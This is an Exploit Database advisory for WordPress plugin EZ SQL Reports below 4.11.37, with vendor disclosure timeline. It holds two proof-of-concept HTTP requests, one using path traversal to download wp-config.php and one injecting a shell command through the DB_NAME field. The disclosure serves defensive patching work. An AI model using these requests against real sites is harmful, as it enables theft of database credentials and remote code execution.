WordPress Plugin EZ SQL Reports < 4.11.37 - Multiple Vulnerabilities

• Exploit Database
• 14 阅读

• 作者： Felipe Molina
  日期： 2015-09-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38176/

• # Exploit Title: EZ SQL Reports < 4.11.37: Arbitrary File Download (admin/colaborator required)
  # Google Dork: -
  # Date: 12/09/2015
  # Exploit Author: Felipe Molina (@felmoltor)
  # Vendor Homepage: https://wordpress.org/plugins/elisqlreports/
  # Software Link: https://downloads.wordpress.org/plugin/elisqlreports.4.11.33.zip
  # Version: < 4.11.33, fixed in 4.11.37
  # Tested on: Debian GNU/Linux 7 with WordPress 4.3
  # CVE : N/A
  #
  # Summary: The plugin allows a wordpress site administrator or
  collaborator to download arbitrary files from the host file system
  though the plugin functionality of downloading .sql, .sql.zip or
  .sql.gz files created by the wordpress administrator.
  # The file name to download is not sanitized and path traversal can be
  injected in the request.
  #
  # Timeline:
  # - 09/09/2015: Fist contact with the author
  # - 11/09/2015: Author creates fix and communicate to me
  # - 12/09/2015: Public release of the new plugin version
  
  # POC: To retrieve the wp-config.php file:
  
  GET /wp-admin/admin.php?page=ELISQLREPORTS-settings&Download_SQL_Backup=../../../wp-config.php
  HTTP/1.1
  Host: <the host with the wordpress>
  Proxy-Connection: keep-alive
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Upgrade-Insecure-Requests: 1
  User-Agent: <User-Agent>
  Referer: http://<the host with the
  wordpress>/wp-admin/admin.php?page=ELISQLREPORTS-settings
  Accept-Encoding: gzip, deflate, sdch
  Accept-Language: en-US,en;q=0.8,es;q=0.6
  Cookie: wordpress_[...etc...]4af418c3efd
  
  
  # Exploit Title: EZ SQL Reports < 4.11.37: Arbitrary Code Execution (admin/colaborator required)
  # Google Dork: -
  # Date: 12/09/2015
  # Exploit Author: Felipe Molina (@felmoltor)
  # Vendor Homepage: https://wordpress.org/plugins/elisqlreports/
  # Software Link: https://downloads.wordpress.org/plugin/elisqlreports.4.11.33.zip
  # Version: < 4.11.33, fixed in 4.11.37
  # Tested on: Debian GNU/Linux 7 with WordPress 4.3
  # CVE : N/A
  #
  # Summary: There are several calls to "passtthru" in the code, one of
  them is receiving the username, password, database name and host from
  the $_POST arguments, so you can inject in every of this parameter the
  ";" character or others like "&&" or "||" to execute other distinct
  commands to "/usr/bin/mysql"
  #
  # Timeline:
  # - 09/09/2015: Fist contact with the author
  # - 11/09/2015: Author creates fix and communicate to me
  # - 12/09/2015: Public release of the new plugin version
  
  # POC: Send a POST request like this to obtain in the folder wp-admin
  a file with name "testrce.txt". The parameters DB_NAME, DB_HOST,
  DB_USER, and DB_PASSWORD are injectable:
  
  POST /wp-admin/admin.php?page=ELISQLREPORTS-settings HTTP/1.1
  Host: <wordpress web>
  Proxy-Connection: keep-alive
  Content-Length: 177
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin: http://<wordpress web>
  Upgrade-Insecure-Requests: 1
  User-Agent: <the user agent>
  Content-Type: application/x-www-form-urlencoded
  Referer: http://<wordpress web>/wp-admin/admin.php?page=ELISQLREPORTS-settings
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.8,es;q=0.6
  Cookie: wordpress_8fa[...etc...]b7d
  
  DB_NAME=<the db
  name>%3B+touch+testrce.txt%3B+&DB_HOST=127.0.0.1&DB_USER=<theuser>&DB_PASSWORD=<thepassword>&db_date=z.2015-08-27-20-22-29.manual.wp.127.0.0.1.sql.zip&db_nonce=au78c5ff86